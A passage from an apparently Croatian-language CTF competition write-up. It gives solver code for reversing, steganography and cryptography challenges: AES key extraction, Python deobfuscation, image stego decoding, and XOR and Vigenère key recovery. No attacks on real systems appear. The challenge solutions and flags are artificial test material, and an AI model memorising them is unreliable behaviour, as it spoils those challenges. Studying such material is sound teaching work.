comment_len; fread(&comment_len, 2, 1, file); if (comment_len > 0) { unsigned char *comment = malloc(comment_len); fread(comment, 1, comment_len, file); fwrite(comment, 1, comment_len, stdout); free(comment); break; } } } fclose(file); return 0; } Ovaj program se može pokrenuti da pročita dio ključa i pohrani ga u željenu datoteku. ./extractCommKey LorenIps > extractedKeys.bin Nakon toga se pohranjeni dio ključa može proslijediti sljedećem programu, s flagEnc.bin enkriptiranom datotekom, kako bi dekriptirao datoteku i našao flag. #include #include #include #include // Hardcoded key (same) const unsigned char hardcoded_key[16] = { 0x19, 0x47, 0x25, 0x4b, 0xf3, 0x56, 0x6b, 0x2f, 0xce, 0x61, 0x30, 0x3d, 0xf5, 0xee, 0x43, 0xe6 }; // Function to XOR two key parts void xor_keys(const unsigned char *key1, const unsigned char *key2, unsigned char *result) { for (int i = 0; i < 16; i++) { result[i] = key1[i] ^ key2[i]; } } void decrypt_file(const char *input_path, const char *output_path, const unsigned char *key, const unsigned char *iv) { FILE *in_file = fopen(input_path, "rb"); FILE *out_file = fopen(output_path, "wb"); if (!in_file || !out_file) { perror("File error"); exit(1); } // Read IV unsigned char file_iv[16]; fread(file_iv, 1, 16, in_file); AES_KEY aes_key; AES_set_decrypt_key(key, 128, &aes_key); // Decrypt unsigned char in_buf[16], out_buf[16]; int bytes_read; int padding_value; while ((bytes_read = fread(in_buf, 1, 16, in_file)) > 0) { AES_cbc_encrypt(in_buf, out_buf, 16, &aes_key, file_iv, AES_DECRYPT); if (feof(in_file)) { padding_value = out_buf[15]; if (padding_value > 0 && padding_value <= 16) { bytes_read = 16 - padding_value; } } fwrite(out_buf, 1, bytes_read, out_file); } fclose(in_file); fclose(out_file); } int main(int argc, char *argv[]) { if (argc != 3 && argc != 4) { printf("Usage: %s [key1_file]\n", argv[0]); printf("If key1_file is not provided, reads key1 from stdin\n"); return 1; } unsigned char key1[16]; if (argc == 4) { // Read key1 from file FILE *key_file = fopen(argv[3], "rb"); if (!key_file) { perror("Failed to open key file"); return 1; } fread(key1, 1, 16, key_file); fclose(key_file); } else { // from stdin fread(key1, 1, 16, stdin); } // XOR extracted key with hardcoded key to get AES key unsigned char actual_key[16]; xor_keys(key1, hardcoded_key, actual_key); unsigned char iv[16]; decrypt_file(argv[1], argv[2], actual_key, iv); printf("File decrypted successfully: %s\n", argv[2]); return 0; } Sada se program može pokrenuti s proslijeđenim datotekama i pročitati dešifrirani flag. $ ./decrypt flagEnc.bin decrypted_flag.txt extractedKeys.bin $ cat decrypted_flag.txt ====It's everyday MRO==== Nikad nisam vidio ovako čudan Python kod Uz zadatak je dostupna ZIP datoteka koja sadrži run.sh, Dockerfile i challenge.py. run.sh je skripta za pokretanje zadatka, koja gradi Docker image i pokreće ga, kako bi challenge.py imao konzistentno ponašanje, bez obzira na Python verziju na hostu. Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definirana u Dockerfileu. Pristup deobfuskaciji ovog zadatka je postupno dodavanje i mijenjanje koda u challenge.py dok se ne dobije čitljiv oblik koda. Tijekom ovog postupka, promijenjenu challenge.py skriptu treba i dalje pokretati s run.sh kako bi se koristila ista verzija Pythona. Prvo se može cijeli kod staviti u string varijablu, nad kojom će se s pomoću regex operatora i zamjena pojednostavljivati kod. obf= """x, y = __import__('operator'), __import__('funct.....""" Može se napisati funkcija za deobfuskaciju koda import re from collections import OrderedDict import operator import functools def deobfuscate(obfuscated_code: str) -> str: """ Deobfuscates a multi-layered Python code string by resolving dynamic attribute lookups, simplifying expressions, + specific edge cases fixes """ code = obfuscated_code ctx = { "x": operator, "y": functools, "__builtins__": __builtins__, "operator": operator } patterns = [ re.compile(r'(\[\]\.__class__\.__mro__\[-1\]\.__subclasses__\(\)\[(\d+)\])'), re.compile(r'(\[\*?([a-zA-Z0-9_.]+)\.__dict__\.values\(\)\](\[-?\d+\])+)') ] for _ in range(10): matches = OrderedDict() for pat in patterns: for match in pat.finditer(code): matches[match.group(1)] = match.group(1) if not matches: break replacements = {} for original_expr in matches: try: obj = eval(original_expr, ctx) if hasattr(obj, '__module__'): mod, name = obj.__module__, obj.__name__ if mod == 'builtins' and name.isidentifier(): repl_str = name elif mod in ['operator', '_operator']: repl_str = f"x.{name}" elif mod == 'functools': repl_str = f"y.{name}" else: repl_str = repr(obj) else: repl_str = repr(obj) replacements[re.escape(original_expr)] = repl_str except Exception: continue if not replacements: break combined_pattern = re.compile('|'.join(sorted(replacements.keys(), key=len, reverse=True))) code = combined_pattern.sub(lambda m: replacements[re.escape(m.group(0))], code) code = re.sub(r"", r"\2.\1", code) code = re.sub(r"", r"operator.\1", code) # EDGECASE: str.endswith(..., ) TypeError. def fix_endswith_type_error(match): arg_str, number_expr = match.groups() try: # Evaluate the integer expression ("3*3" -> 9) number_val = eval(number_expr) # corrected call binary_suffix = bin(number_val)[2:] return f"str.endswith({arg_str}, '{binary_suffix}')" except Exception: return match.group(0) # Fallback code = re.sub(r"str\.endswith\(([^,]+?),\s*([0-9\s\*\+\-/]+)\)", fix_endswith_type_error, code) # Replace `_lru_list_elem` with a lambda function. # The pattern `y._lru_list_elem(x.mod, n)` === `lambda i: x.mod(n, i)` def fix_lru_list_elem(match): func, arg = match.groups() return f"(lambda i: {func}({arg}, i))" code = re.sub(r"y\._lru_list_elem\(([^,]+?),\s*([^)]+?)\)", fix_lru_list_elem, code) return code obf= """...""" deobfuscated_code = deobfuscate(obf) print(deobfuscated_code) Ova funkcija pretvara originalni kod u puno čitljiviji oblik koji i dalje sadrži istu funkcionalnost. x, y = __import__('operator'), __import__('functools');print(x.add((x.add(x.add("CTF2025[", (a := input("Unesi lozinku:"))), "]"))*(x.and_(x.and_(x.and_(str.endswith(bin(int(a)), '0'*3), x.eq(x.truediv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343322, 686644)))), x.floordiv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343323, 686646)))))), x.not_(x.mod(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(x.or_(operator.__lshift__(26, 13), operator.__lshift__(1, 9)), 686646)))))), x.eq(len(hex(int(a))), 12))), "Nope :/"*((x.not_(x.and_(x.and_(x.and_(str.endswith(bin(int(a)), '0'*3), x.eq(x.truediv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343322, 686644)))), x.floordiv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343323, 686646)))))), x.not_(x.mod(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(x.or_(operator.__lshift__(26, 13), operator.__lshift__(1, 9)), 686646)))))), (x.eq(len(hex(int(a))), 12)))))))) Daljnjim rasplitanjem ovog koda može se doći do još čitljivijeg oblika. import operator # Optimized primality test def is_prime(n): if n < 2: return False # Only checking divisors up to the square root of n. for i in range(2, int(n**0.5) + 1): if n % i == 0: return False return True def find_first_prime_in_range(start, end): """Finds the first prime number within a range.""" for num in range(start, end): if is_prime(num): return num raise StopIteration("No prime found in the given range.") password_str = input("Unesi lozinku:") try: password_num = int(password_str) # --- Step 1: Calculate the three prime numbers prime1, prime2 = find_first_prime_in_range(343322, 686644) # 343327 prime3_start = (26 << 13) | (1 << 9) # 213504 prime3 = find_first_prime_in_range(prime3_start, 686646) # 213527 # Check 1: The binary representation of the number must end with '000'. check_binary_suffix = bin(password_num).endswith('000') # Check 2: A complex check for divisibility by prime1. check_prime_division = (password_num / prime1) == (password_num // prime2) # Check 3: `not (number % prime)`. # `not 0` == `True`. mod_result = password_num % prime3 check_non_divisibility = not mod_result # Check 4: The length of the hex string (including '0x') must be 12. check_hex_length = len(hex(password_num)) == 12 if all([check_binary_suffix, check_prime_division, check_non_divisibility, check_hex_length]): print("CTF2025[" + password_str + "]") else: print("Nope :/") except (ValueError, TypeError, StopIteration): print("Nope :/") Iz ovih uvjeta se može napisati skripta koja će pronaći broj koji zadovoljava sve uvjete. def is_prime(n): if n < 2: return False for i in range(2, int(n**0.5) + 1): if n % i == 0: return False return True def find_first_prime_in_range(start, end): for num in range(start, end): if is_prime(num): return num raise StopIteration("No prime found in the given range.") # constants print("Calculating the required prime numbers...") prime1 = find_first_prime_in_range(343322, 686644) prime3_start = (26 << 13) | (1 << 9) prime3 = find_first_prime_in_range(prime3_start, 686646) print(f" - Divisibility Prime (prime1): {prime1}") print(f" - Divisibility Prime (prime3): {prime3}\n") ## constraints # Must be a multiple of 8 ( === binary ends in '000') factor1 = 8 # Must be a multiple of prime1 factor2 = prime1 # ust be a multiple of prime3 factor3 = prime3 print(f" - Constraint A: Must be a multiple of {factor1}") print(f" - Constraint B: Must be a multiple of {factor2}") print(f" - Constraint C: Must be a multiple of {factor3}") # Hex length must be 12 characters. # '0x' + 10 hex digits. min_bound = 0x1000000000 max_bound = 0xFFFFFFFFFF print(f"Must be between {min_bound} and {max_bound} (inclusive).\n") # To satisfy the three divisibility constraints, the number must be a multiple # of their Least Common Multiple. They are coprime ===> LCM is their product. lcm = factor1 * factor2 * factor3 print(f"Least Common Multiple: {lcm}") ## candidate * 2 is already outside the max range ## len(str(candidate * 2)) = 13 candidate = lcm # Verify candidate print("Verifying the constructed number against constraints") # Check 1: Binary Suffix check1 = bin(candidate).endswith('000') print(f" - Condition 1 (ends in '000'): {check1}") # Check 2: Prime Division check2 = (candidate % prime1) == 0 print(f" - Condition 2 (divisible by {prime1}): {check2}") # Check 3: divisibility ( if % returns 0, (not 0) == True -> % operation must return 0) check3 = not (candidate % prime3) print(f" - Condition 3 (divisible by {prime3}): {check3}") # Check 4: Hex Length check4 = len(hex(candidate)) == 12 print(f" - Condition 4 (hex length is 12): {check4}\n") if all([check1, check2, check3, check4]): print(f"\nThe solution is: {candidate}") print(f"Flag: CTF2025[{candidate}]") else: print("Candidate does not meet all conditions.") ====Stegosaurus==== U slici stegosaura skrivena je tajna poruka, možeš li ju pronaći? Uz zadatak su dani izvršna datoteka i slika. Pojmovi **STEGO**saurus, tvrdnja da je u slici "skrivena" tajna poruka, kao poruka pri pokušaju pokretanja izvšne datoteke Usage: ./hide upućuju na to da je izvršna datoteka program koji će odabranu poruku "sakriti" u sliku, odnosno steganografski program. Pokretanjem naredbe strings nad izvršnom datotekom hide strings hide mogu se pronaći ovi stringovi .jpg .jpeg Failed to write image stbi__load_and_postprocess_8bit stbi__load_and_postprocess_16bit stbi__convert_format stbi__convert_format16 stbi__jpeg_huff_decode JFIF Adobe stbi__bit_reverse stbi__create_png_alpha_expand8 stbi__create_png_image_raw stbi__compute_transparency stbi__compute_transparency16 stbi__de_iphone stbi__shiftsigned stbi__tga_load stbiw__writefv stbiw__write_run_data stbiw__write_dump_data stbiw__sbgrowf stbi_zlib_compress stbi_write_png_to_mem JFIF Pretraživanjem po internetu s ovim stringovima, može se naići na GitHub projekt [[https://github.com/nothings/stb| STB]], koji se koristi od strane izvršne datoteke dane u zadatku. Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hide te napisati program koji će pronaći skriveni tekst u slici. Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta. Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, zatim u zadnji piksel (donji desni kut) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, zadnji piksel se razlikuje od okolnih) Svako slovo skrivenog teksta zatim se skriva kao XOR nad ASCII vrijednošću tog znaka i najčešćih RGB vrijednosti piksela, te ih se postavlja na pozicije određene prostim brojevima. Program koji otkriva skriveni tekst u slici danoj u zadatku je u nastavku. #define STB_IMAGE_IMPLEMENTATION #include "stb_image.h" #include #include #include #include int* generate_first_n_primes(int n, int *actual_count) { if (n <= 0) { *actual_count = 0; return NULL; } if (n == 1) { int *primes = malloc(sizeof(int)); primes[0] = 2; *actual_count = 1; return primes; } double logn = log(n); double loglogn = log(logn); int limit = (n < 100) ? 1000 : (int)(n * (logn + loglogn)) + 1000; unsigned char *sieve = calloc(limit + 1, sizeof(unsigned char)); for (int i = 2; i <= limit; i++) sieve[i] = 1; for (int i = 2; i * i <= limit; i++) { if (sieve[i]) { for (int j = i * i; j <= limit; j += i) { sieve[j] = 0; } } } int *primes = malloc(n * sizeof(int)); int count = 0; for (int i = 2; i <= limit && count < n; i++) { if (sieve[i]) { primes[count++] = i; } } free(sieve); *actual_count = count; return primes; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } char *image_path = argv[1]; int width, height, channels; unsigned char *image = stbi_load(image_path, &width, &height, &channels, 0); if (!image) { fprintf(stderr, "Error loading image %s\n", image_path); return 1; } int *counts = calloc(256 * 256 * 256, sizeof(int)); int total_pixels = width * height; for (int i = 0; i < total_pixels; i++) { unsigned char r = image[i * channels]; unsigned char g = image[i * channels + 1]; unsigned char b = image[i * channels + 2]; counts[r * 256 * 256 + g * 256 + b]++; } unsigned char max_r = 0, max_g = 0, max_b = 0; int max_count = 0; for (int i = 0; i < 256 * 256 * 256; i++) { if (counts[i] > max_count) { max_count = counts[i]; max_r = i / (256 * 256); max_g = (i / 256) % 256; max_b = i % 256; } } free(counts); int last_pixel_idx = (height - 1) * width + (width - 1); unsigned char *last_pixel = image + last_pixel_idx * channels; int len = ((last_pixel[0] ^ max_r) << 16) | ((last_pixel[1] ^ max_g) << 8) | (last_pixel[2] ^ max_b); int n_primes = (len >= 2) ? len - 2 : 0; int prime_count; int *primes = generate_first_n_primes(n_primes, &prime_count); char *output = malloc(len + 1); for (int i = 0; i < len; i++) { int row; if (i == 0) row = 0; else if (i == 1) row = 1; else row = primes[i - 2] % height; int col = (i * len) % width; unsigned char *p = image + (row * width + col) * channels; unsigned char part_r = p[0] & 0x07; unsigned char part_g = p[1] & 0x07; unsigned char part_b = p[2] & 0x03; part_r ^= (max_r & 0x07); part_g ^= (max_g & 0x07); part_b ^= (max_b & 0x03); output[i] = (part_r << 5) | (part_g << 2) | part_b; } output[len] = '\0'; printf("%s\n", output); free(primes); free(output); stbi_image_free(image); return 0; } ======Kriptografija====== ====Tajna poruka==== Dešifriraj ovu tajnu poruku T30fhy88 i 19t8c xbde wfa5: 7NDNK3Z[LQY5VY2YSR2U] Zbh fz7n: T30fhy88 + C3u4p = G2h87vle h 8ls12n e50oc3h. Rješenje zadatka prikazano je na slici u nastavku. {{ hacknite2025:tajnaPoruka.png?nolink&500 | Rješenja zadatka }} ====Xorry 1==== Zagrijavanje Uz zadatak su dani kod korišten za generiranje šifrata i šifrat. Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti). Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane dužine 30, kao i ostale linije. Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. Rješenje započinje pronalaskom duljine ključa, a zatim se određuje bajt ključa tako da svaki znak plaintexta koji je njime šifriran dekriptira u valjani znak iz charseta (0–9 + a–f). Skripta je dana u nastavku. from collections import defaultdict import numpy as np # Define charset in ASCII HEX_DIGITS = set(ord(c) for c in '0123456789abcdef') DEBUG = True def debug_print(message): if DEBUG: print(message) def index_of_coincidence(data): freq = defaultdict(int) for byte in data: freq[byte] += 1 n = len(data) if n <= 1: return 0 return sum(f*(f-1) for f in freq.values()) / (n * (n - 1)) def find_key_length(ciphertext, min_length=7, max_length=23): best_length = 0 best_score = 0 for key_len in range(min_length, max_length + 1): scores = [] for offset in range(key_len): group = [] idx = offset while idx < len(ciphertext): group.append(ciphertext[idx]) idx += key_len ic = index_of_coincidence(group) scores.append(ic) avg_ic = np.mean(scores) if scores else 0 debug_print(f"Key length {key_len}: Avg IC = {avg_ic:.6f}") if avg_ic > best_score: best_score = avg_ic best_length = key_len return best_length def recover_key(ciphertext, key_length): key = bytearray(key_length) position_groups = defaultdict(list) # Group bytes by their position in the key cycle for idx, byte in enumerate(ciphertext): position = idx % key_length position_groups[position].append(byte) # For each key position, find best candidate for pos in range(key_length): best_candidate = 0 best_hex_count = -1 bytes_at_pos = position_groups[pos] for candidate_byte in range(256): hex_count = 0 for byte in bytes_at_pos: decrypted = candidate_byte ^ byte if decrypted in HEX_DIGITS: hex_count += 1 if hex_count > best_hex_count: best_hex_count = hex_count best_candidate = candidate_byte key[pos] = best_candidate debug_print(f"Position {pos}: best candidate {best_candidate} ({best_hex_count}/{len(bytes_at_pos)} hex)") return bytes(key) def main(): try: with open('output.txt', 'r') as f: hex_lines = f.readlines() except FileNotFoundError: print("Error: output.txt not found") return ciphertext = bytearray() for line in hex_lines: line = line.strip() ciphertext.extend(bytes.fromhex(line)) debug_print(f"Total ciphertext length: {len(ciphertext)} bytes") # Find key length key_length = find_key_length(ciphertext) if key_length == 0: print("Error: Failed to determine key length") return debug_print(f"Key length: {key_length}") # Find key key = recover_key(ciphertext, key_length) debug_print(f"Recovered key: {key.hex()}") # Decrypt plaintext = bytearray() for i, byte in enumerate(ciphertext): plaintext.append(byte ^ key[i % len(key)]) lines = [] for i in range(0, len(plaintext), 30): line = plaintext[i:i+30].decode('ascii') lines.append(line) with open('decrypted.txt', 'w') as f: for line in lines: f.write(line + '\n') print("Decrypted to decrypted.txt") # Find flag line print("\nFlag line:") for i, line in enumerate(lines): if any(char not in '0123456789abcdef' for char in line): print(f"Line {i+1}: {line}") if __name__ == "__main__": main() ====Jumbo 1==== python3 generator.py --flag "CTF2025[...]" --words 3000 Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat. Pregledom dijela koda u kojem se parsiraju argumenti dani programu i naredbe za pokretanje programa dane u tekstu zadatka, može se zaključiti da je duljina ključa definirana default vrijednostima i da je između 13 i 27 znakova. Zadatak kombinira [[cezar_sifra|Cezarovu]] i [[wiki:vigenere_sifra|Vigenèreovu šifru]]. Cezarova šifra se uz to dodatno primjenjuje na svaku riječ drugačijim ključem ovisno o duljini riječi. Prvo se koristi normalna Cezarova šifra, pa Vigenere šifra, pa Cezarova šifra za svaku riječ, ovisna o duljini riječi. Jednadžba za specifičan pomak po riječi prikazana je u nastavku: pomak = (duljina_riječi * X + Y) % broj_znakova_u_rječniku Gdje su X i Y konstante u programu, koje su iste za sve riječi. Kombinacija normalne Vigenère i Cezarove šifre ekvivalentna je korištenju Vigenère šifre s modificiranim ključem, pa se dio programa koji koristi jednolični pomak ne mora posebno rješavati, nego se odmah pronađe moficirani Vigenère ključ. Prvi i drugi korak rješavaju se korištenjem indeksa slučajnosti (IC – index of coincidence), koji pokazuje kolika je vjerojatnost da dva nasumično odabrana slova budu ista. Zna se da se koristi engleski rječnik i da je za engleski jezik IC ~ 0.067. IC je niži za potpuno nasumičan tekst, a viši za strukturirani tekst, jer se neka slova puno češće ponavljaju. Za potpuno nasumičan tekst, s brojem znakova u rječniku 38, kao u zadatku, IC potpuno nasumičnog teksta bi bio 1/38 ~ 0.0263. Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije. X i Y su nasumični cijeli brojevi u rasponu od 1 do broja znakova u rječniku, što je 38. Broj mogućih kombinacija je time: 38 * 38 = 1444 Ovo je prihvatljiv broj kombinacija za koristiti bruteforce pristup i pronaći kombinaciju koja ima najveći IC. Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto. To se može napraviti ili korištenjem Kasiski analize, ili drugim načinom, korištenjem Friedman analize s pomoću IC vrijednosti, kao što će biti prikazano u rješenju ovog zadatka. Prvo se pokušava pronaći duljina Vigenere ključa, to se radi tako da se za različite potencijalne dužine ključa naprave skupine slove, koja su sva bila pomaknuta istim znakom Vigenere ključa. U tome slučaju će sva slova u skupini biti pomaknuta za isti pomak, te će IC unutar te skupine biti puno viši. Opet se na ovakav način, pronalaskom konfiguracijom koja ima najviši IC može pronaći ispravna duljina ključa. Zatim se za svaku skupinu pronalazi slovo koje je korišteno za pomak te skupine. Za to se koristi učestalost pojavljivanja pojedinih slova u Engleskom jeziku, npr. u skupini je najčešće slovo S, zna se da je u engleskom najčešće slovo E, vrlo moguće da je pomak E -> S. Onda se ova provjera napravi i za ostala slova i gleda se konfiguracija koja je najbliža učestalosti slova u engleskom jeziku. U zadatku se za to koristi ovaj rječnik. ENG_FREQ = { 'A': 0.08167,'B': 0.01492,'C': 0.02782,'D': 0.04253,'E': 0.12702,'F': 0.02228, 'G': 0.02015,'H': 0.06094,'I': 0.06966,'J': 0.00153,'K': 0.00772,'L': 0.04025, 'M': 0.02406,'N': 0.06749,'O': 0.07507,'P': 0.01929,'Q': 0.00095,'R': 0.05987, 'S': 0.06327,'T': 0.09056,'U': 0.02758,'V': 0.00978,'W': 0.02360,'X': 0.00150, 'Y': 0.01974,'Z': 0.00074 } Objašnjenja skripta dana je u nastavku. #!/usr/bin/env python3 import argparse import string import re from collections import Counter charset = string.ascii_uppercase + string.digits + "[]" MOD = len(charset) A2N = {char: i for i, char in enumerate(charset)} N2A = {i: char for i, char in enumerate(charset)} # Pre-calculated English letter frequencies, mapped to alphabet ENG_FREQ = { 'A': 0.08167,'B': 0.01492,'C': 0.02782,'D': 0.04253,'E': 0.12702,'F': 0.02228, 'G': 0.02015,'H': 0.06094,'I': 0.06966,'J': 0.00153,'K': 0.00772,'L': 0.04025, 'M': 0.02406,'N': 0.06749,'O': 0.07507,'P': 0.01929,'Q': 0.00095,'R': 0.05987, 'S': 0.06327,'T': 0.09056,'U': 0.02758,'V': 0.00978,'W': 0.02360,'X': 0.00150, 'Y': 0.01974,'Z': 0.00074 } TOTAL_FREQ = sum(ENG_FREQ.values()) ALPHA_FREQ = {c: ENG_FREQ.get(c, 1e-5) / TOTAL_FREQ for c in charset} def undo_per_word_rot(ciphertext, mult, add): out_words = [] for word in ciphertext.split(): shift = (sum(1 for char in word if char in A2N) * mult + add) % MOD rotated_word = ''.join(N2A[(A2N[char] - shift) % MOD] if char in A2N else char for char in word) out_words.append(rotated_word) return ' '.join(out_words) def get_avg_ic(text, keylen): alpha_text = [c for c in text if c in A2N] ics = [] for i in range(keylen): col = alpha_text[i::keylen] N = len(col) if N > 1: freqs = Counter(col) ic = sum(v * (v - 1) for v in freqs.values()) / (N * (N - 1)) ics.append(ic) return sum(ics) / len(ics) if ics else 0.0 def guess_key_lengths(text, max_len=30, top_k=5): scores = sorted([(get_avg_ic(text, L), L) for L in range(1, max_len + 1)], reverse=True) return [L for _, L in scores[:top_k]] def recover_vigenere_key(text, keylen): key, alpha_text = [], [c for c in text if c in A2N] for i in range(keylen): col = alpha_text[i::keylen] if not col: continue N, col_counts = len(col), Counter(col) best_shift, min_chi2 = 0, float('inf') for s in range(MOD): chi2 = sum(((col_counts.get(N2A[(A2N[plain_char] + s) % MOD], 0) - (ALPHA_FREQ[plain_char] * N)) ** 2) / (ALPHA_FREQ[plain_char] * N) for plain_char in charset) if chi2 < min_chi2: min_chi2, best_shift = chi2, s key.append(N2A[best_shift]) return ''.join(key) def vigenere_decrypt(text, key): key_nums = [A2N[char] for char in key] out, ki = [], 0 for char in text: if char in A2N: k = key_nums[ki % len(key_nums)] out.append(N2A[(A2N[char] - k) % MOD]) ki += 1 else: out.append(char) return ''.join(out) def find_flag(plaintext, flag_pattern): for g in range(MOD): shifted_text = ''.join(N2A[(A2N[char] - g) % MOD] if char in A2N else char for char in plaintext) match = flag_pattern.search(shifted_text) if match: return g, match.group(0) return None, None def main(): parser = argparse.ArgumentParser(description="Solver for the encryption challenge.") parser.add_argument("--cipher", default="cipher.txt", help="Path to the ciphertext file.") parser.add_argument("--max-keylen", type=int, default=27) args = parser.parse_args() with open(args.cipher, "r", encoding="utf-8") as f: cipher = f.read().strip().upper() flag_re = re.compile(r"CTF2025\[\d{12}\]", flags=re.IGNORECASE) max = 0 multH = 0 addH = 0 for mult in range(MOD): for add in range(MOD): stage2_text = undo_per_word_rot(cipher, mult, add) new = get_avg_ic(stage2_text, 20) if new > max: max = new multH = mult addH = add print(max) stage2_text = undo_per_word_rot(cipher, multH, addH) for length in guess_key_lengths(stage2_text, args.max_keylen): key = recover_vigenere_key(stage2_text, length) if not key: continue stage1_text = vigenere_decrypt(stage2_text, key) global_shift, flag = find_flag(stage1_text, flag_re) if flag: print(f"\n\n{'='*16}\n=== FLAG FOUND ===\n{'='*16}") print(f" Flag: {flag}") print(f" Parameters:") print(f" - Per-Word Mult: {mult}") print(f" - Per-Word Add: {add}") print(f" - Vigenere Key: '{key}' (length {length})") print(f" - Global Shift: {global_shift}") return print("\n\nSolver finished. No flag found.") if __name__ == "__main__": main() ====Xorry 2==== Really xorry for this one Uz zadatak su dani kod korišten za generiranje šifrata i šifrat. Zadatak generira šifrat na sličan način kao u Xorry1 zadatku, ali vraća samo 10 linija. Glavna razlika je da se linije izmiješaju nakon što se ciklično enkriptiraju nasumičnim ključem nasumične duljine, pa je puno teže pronaći i duljinu ključa i pozicije nad kojima se isti indeks ključa koristio. Rješenje se temelji na znanim informacijama: Flag je duljine 21 i cijeli se nalazi unutar jedne linije, zato početak flaga može biti jedino na pozicijama 0-9 Radi formata flaga zna se da flag počinje s "CTF2025[" i završava s "]", znakovi "CTF" će biti 3 jedinstvena znaka za redom u plaintextu, kao i uglate zagrade ("CTF" je u uppercaseu, dok je ostatak charseta u lowercaseu) Pomoću ovih činjenica, analizom šifrata, može se pretpostaviti pozicija početka flaga, XOR operacijom pronaći 9 bajtova ključa - bajtovi ključa koji su bili korišteni za enkripciju početka flaga "CTF2025[" i zadnjeg znaka "]" te od tuda nastaviti s dekripcijom šifrata. Skripta za rješavanje zadatka dana je u nastavku. from collections import defaultdict def find_ctf_candidates(ciphertexts): # Count frequency of each byte value in entire ciphertext byte_freq = defaultdict(int) for line in ciphertexts: for byte in line: byte_freq[byte] += 1 candidates = [] for line_idx, line in enumerate(ciphertexts): # Only consider positions 0-9 for 'C' for pos in range(0, 10): if pos + 2 >= len(line): continue # Get the 3 bytes - "CTF" cand. bytes_triplet = line[pos:pos+3] # Check uniqueness if all(byte_freq[b] == 1 for b in bytes_triplet): candidates.append((line_idx, pos)) return candidates def recover_key(ct_line, pos): key_bytes = bytearray() # Known plaintext for the flag prefix known_plain = b'CTF2025[' for i in range(8): key_byte = ct_line[pos + i] ^ known_plain[i] key_bytes.append(key_byte) return bytes(key_bytes) def decrypt_line_anchored(ct_line, key, anchor_pos): decrypted = bytearray() key_len = len(key) for i, byte in enumerate(ct_line): # Calculate key index based on anchor position key_index = (i - anchor_pos) % key_len decrypted.append(byte ^ key[key_index]) return decrypted def is_valid_flag_line(flag_text, pos): if not flag_text.startswith('CTF2025[', pos): return False # Check closing bracket is at position+20 if len(flag_text) < pos + 21 or flag_text[pos+20] != ']': return False # Check 12-digit number is dec.-only digits = flag_text[pos+8:pos+20] return all(c in '0123456789' for c in digits) def main(): try: with open('output.txt', 'r') as f: hex_lines = f.readlines() except FileNotFoundError: print("Error: output.txt not found") return ciphertexts = [] for hex_str in hex_lines: hex_str = hex_str.strip() try: ciphertexts.append(bytes.fromhex(hex_str)) except ValueError: print(f"Error: Invalid hex data: {hex_str}") return print(f"Loaded {len(ciphertexts)} ciphertext lines") # Find CTF candidates with uniqueness ctf_candidates = find_ctf_candidates(ciphertexts) print(f"Found {len(ctf_candidates)} CTF candidates (globally unique bytes)") if not ctf_candidates: print("Error: No valid CTF candidates found") return # Try each candidate for candidate_idx, (line_idx, pos) in enumerate(ctf_candidates): print(f"\nTrying candidate {candidate_idx+1}: Line {line_idx+1}, Position {pos}") try: # Recover 8-byte key from "CTF2025[...]" pattern key = recover_key(ciphertexts[line_idx], pos) print(f" Recovered key: {key.hex()}") # Decrypt flag line with anchored key flag_decrypted = decrypt_line_anchored(ciphertexts[line_idx], key, pos) try: flag_text = flag_decrypted.decode('ascii') except UnicodeDecodeError: print(" Flag line decoding failed") continue # Validate flag format if not is_valid_flag_line(flag_text, pos): print(" Flag format validation failed") continue print(" Valid flag format found") decrypted_lines = [] for i, ct in enumerate(ciphertexts): decrypted = decrypt_line_anchored(ct, key, 0) try: text = decrypted.decode('ascii') decrypted_lines.append(text) except UnicodeDecodeError: decrypted_lines.append("DECRYPTION_FAILED") with open('decrypted.txt', 'w') as f: for line in decrypted_lines: f.write(line + '\n') print("Results written to decrypted.txt") print("\nFlag candidate:") print(f"Line {line_idx+1}: {flag_text}") return except Exception as e: print(f" Error processing candidate: {e}") print("\nError: No valid candidates") if __name__ == "__main__": main() ====Jumbo 2==== Zadatak je generiran s naredbom python generator.py --flag "CTF2025[...]" --out cypher.txt --seed-key-len 12 Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat. Iz naredbe u tekstu zadatka se vidi da je dužina ključa 12 znakova te se analizom koda može vidjeti da kod radi base64 enkodiranje plaintexta i onda koristi autokey Vigenere algoritam s nasumično generiranim ključem. Ovaj zadatak se može riješiti na više načina. Obilježje algoritma šifriranja koje se koristi za rješenje u nastavku je da što je kandidat 